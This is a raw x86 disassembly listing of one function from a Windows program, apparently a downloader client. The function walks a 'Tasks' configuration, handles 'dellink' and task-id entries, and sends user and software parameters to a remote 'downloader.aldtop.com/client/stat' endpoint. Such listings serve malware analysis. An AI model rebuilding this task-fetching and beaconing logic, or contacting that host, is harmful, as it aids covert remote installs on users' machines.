call fcn.0045ae20
push str.Unchecked
push str.uncheck
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x45
call fcn.0045aeb0
push str.Error
push str.error
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x46
call fcn.0045af40
push str.Repeat
push str.repeat
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x47
call fcn.0045afd0
mov byte [ebp - 4], 0x48
push str.Success
push str.ok
lea ecx, [ebp - 0x40]
call fcn.0045b060
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x6e8]
call fcn.004565f0
lea ecx, [ebp - 0x578]
push dword [eax + 4]
push dword [eax]
call fcn.00456630
push fcn.00454dd0
push 6
push 0x30
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 0x4b
push eax
call fcn.0049801c
push 4
lea ecx, [ebp - 0x42c]
call fcn.00402fb0
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x578]
call fcn.00456620
push 4
lea ecx, [ebp - 0x424]
call fcn.00402fb0
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x578]
call fcn.00456610
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00407040
test al, al
je 0x453ab8
nop dword [eax]
lea ecx, [ebp - 0x42c]
call fcn.00402df0
push eax
lea ecx, [ebp - 0x558]
call fcn.00454e70
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0x4c
call fcn.0040f960
mov edx, eax
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
lea ecx, [ebp - 0x540]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x4d
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x4e
call fcn.00406750
lea eax, [ebp - 0x44c]
mov byte [ebp - 4], 0x4f
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.0045ca80
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x4c
call fcn.00407270
push 4
lea ecx, [ebp - 0x430]
call fcn.00402fb0
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x44c]
call fcn.00457300
push 4
lea ecx, [ebp - 0x428]
call fcn.00402fb0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x44c]
call fcn.004572e0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x430]
call fcn.00407040
test al, al
je 0x453a84
nop
lea ecx, [ebp - 0x430]
call fcn.00402df0
mov edi, eax
mov ecx, edi
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00406750
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x50
call fcn.00405f80
push eax
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x51
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x52
call fcn.00406750
lea eax, [ebp - 0x4e0]
mov byte [ebp - 4], 0x53
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
lea ecx, [ebp - 0x6bc]
mov bl, al
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x4c
call fcn.00407270
test bl, bl
je 0x453a5f
mov ecx, edi
call fcn.00405f80
mov edx, eax
lea ecx, [ebp - 0x690]
call fcn.0040d990
mov edx, 0x590a54
mov ecx, eax
call fcn.0040dcf0
lea ecx, [ebp - 0x430]
call fcn.004572d0
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x430]
call fcn.00407040
test al, al
jne 0x453960
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 0x4b
call fcn.00454dd0
lea ecx, [ebp - 0x42c]
call fcn.00407120
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00407040
test al, al
jne 0x453830
xor ebx, ebx
lea ecx, [ebp - 0x494]
push str.Tasks
mov dword [ebp - 0x430], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x54
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x55
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
lea ecx, [ebp - 0x448]
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x4b
call fcn.00407270
test edi, edi
jle 0x454049
nop dword [eax]
nop word [eax + eax]
push str.Tasks
lea ecx, [ebp - 0x464]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x56
call fcn.00406750
push ebx
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0x57
push eax
lea eax, [ebp - 0x6bc]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x5a
call fcn.00407270
sub esp, 0x18
mov ecx, esp
push 0x58f08c
call fcn.00406750
push 1
lea eax, [ebp - 0x528]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.0045d0c0
push str.dellink
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5b
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5c
push eax
lea ecx, [ebp - 0x4a8]
call fcn.00437e40
test al, al
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x6bc]
sete bl
call fcn.00407270
test bl, bl
jne 0x453fb0
push str.taskidstr
lea ecx, [ebp - 0x6d4]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x5d
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5e
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
push dword [ebp - 0x430]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x63
call fcn.00407270
push str.Success
lea ecx, [ebp - 0x494]
call fcn.00406750
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x448]
mov ebx, dword [ebp - 0x6d8]
or ebx, 1
push str.Result
mov dword [ebp - 0x42c], ebx
mov edi, ebx
call fcn.00406750
mov dword [ebp - 4], 0x165
lea ecx, [ebp - 0x510]
or ebx, 2
push str.Config
mov dword [ebp - 0x42c], ebx
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov dword [ebp - 4], 0x166
push eax
lea eax, [ebp - 0x494]
mov ebx, edi
push eax
lea eax, [ebp - 0x448]
or ebx, 6
push eax
lea eax, [ebp - 0x510]
mov dword [ebp - 0x42c], ebx
push eax
mov ecx, 0x5ba9b8
mov edi, ebx
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437e40
test al, al
je 0x453e4d
lea ecx, [ebp - 0x4f8]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x47c]
call fcn.00406750
mov dword [ebp - 4], 0x167
lea ecx, [ebp - 0x4c8]
or ebx, 8
push str.Success
mov dword [ebp - 0x42c], ebx
call fcn.00406750
mov eax, edi
mov dword [ebp - 4], 0x168
or eax, 0x18
lea ecx, [ebp - 0x540]
push str.Result
mov dword [ebp - 0x42c], eax
call fcn.00406750
mov eax, edi
mov dword [ebp - 4], 0x169
or eax, 0x38
lea ecx, [ebp - 0x4e0]
push str.Config
mov dword [ebp - 0x42c], eax
call fcn.00406750
lea eax, [ebp - 0x47c]
mov dword [ebp - 4], 0x16a
push eax
lea eax, [ebp - 0x4c8]
mov ebx, edi
push eax
lea eax, [ebp - 0x540]
or ebx, 0x78
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x42c], ebx
push eax
mov ecx, 0x5ba9b8
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404790
mov byte [ebp - 0x6a1], 1
cmp al, 1
je 0x453e54
mov byte [ebp - 0x6a1], 0
test bl, 0x40
je 0x453e67
lea ecx, [ebp - 0x4e0]
and ebx, 0xffffffbf
call fcn.00407270
test bl, 0x20
je 0x453e7a
lea ecx, [ebp - 0x540]
and ebx, 0xffffffdf
call fcn.00407270
test bl, 0x10
je 0x453e8d
lea ecx, [ebp - 0x4c8]
and ebx, 0xffffffef
call fcn.00407270
test bl, 8
je 0x453ea0
lea ecx, [ebp - 0x47c]
and ebx, 0xfffffff7
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
mov dword [ebp - 4], 0x163
lea ecx, [ebp - 0x494]
and ebx, 0xfffffff8
mov dword [ebp - 0x6d8], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
je 0x453fa5
push str.dellink
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x6b
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x6c
call fcn.00406750
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 0x6d
push eax
lea eax, [ebp - 0x4c8]
mov ecx, 0x5ba9b8
push eax
push dword [ebp - 0x430]
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x4e0]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
lea ecx, [ebp - 0x4e0]
call fcn.00407270
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x71
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.0040f960
push eax
mov ecx, esi
call fcn.00456300
lea ecx, [ebp - 0x47c]
call fcn.00407320
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x4b
call fcn.00407520
mov ebx, dword [ebp - 0x430]
lea ecx, [ebp - 0x494]
inc ebx
push str.Tasks
mov dword [ebp - 0x430], ebx
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x54
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x55
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
lea ecx, [ebp - 0x448]
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x4b
call fcn.00407270
cmp ebx, edi
jl 0x453b40
push str.Result
lea ecx, [ebp - 0x464]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x72
call fcn.00406750
sub esp, 0x18
mov byte [ebp - 4], 0x73
mov ecx, esp
mov dword [ebp - 0x6d8], esp
push 0x58f08c
call fcn.00406750
push 1
lea eax, [ebp - 0x5f0]
mov byte [ebp - 4], 0x74
push eax
lea eax, [ebp - 0x464]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
mov byte [ebp - 4], 0x73
call fcn.0045d0c0
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x77
call fcn.00407270
mov edx, 0x1869f
mov ecx, 0x2710
call fcn.00417670
push eax
push dword [esi + 0x5fc]
mov ecx, esi
call fcn.00446390
push eax
push ecx
mov edx, str.userev
lea ecx, [ebp - 0x690]
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.00457330
push ecx
mov edx, str.sdsoft
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.00457330
push ecx
mov edx, str.rnd
mov ecx, eax
call fcn.0040dcf0
add esp, 4
mov ecx, eax
call fcn.0040c030
lea eax, [ebp - 0x6d4]
push eax
lea ecx, [ebp - 0x6a0]
call fcn.0040be80
mov ecx, eax
mov byte [ebp - 4], 0x78
call fcn.0040f960
push eax
push str.http:__downloader.aldtop.com_client_stat
push esi
call fcn.004458a0
add esp, 0xc
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0x77
call fcn.00407320
push 4
push str.General
mov ecx, esi
mov dword [esi + 0x630], 5
call fcn.0043b1e0
test eax, eax
je 0x4541a8
cmp dword [0x5ba978], 0
je 0x4541a8
mov eax, dword [esi + 0xacc]
push 0
call eax
lea ecx, [ebp - 0x5f0]
call fcn.00407270
lea ecx, [ebp - 0x578]
call fcn.00454ed0
lea ecx, [ebp - 0x6a0]
call fcn.004107e0
lea ecx, [ebp - 0x5d8]
call fcn.00407320
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00497d40
mov esp, ebp
pop ebp
ret 8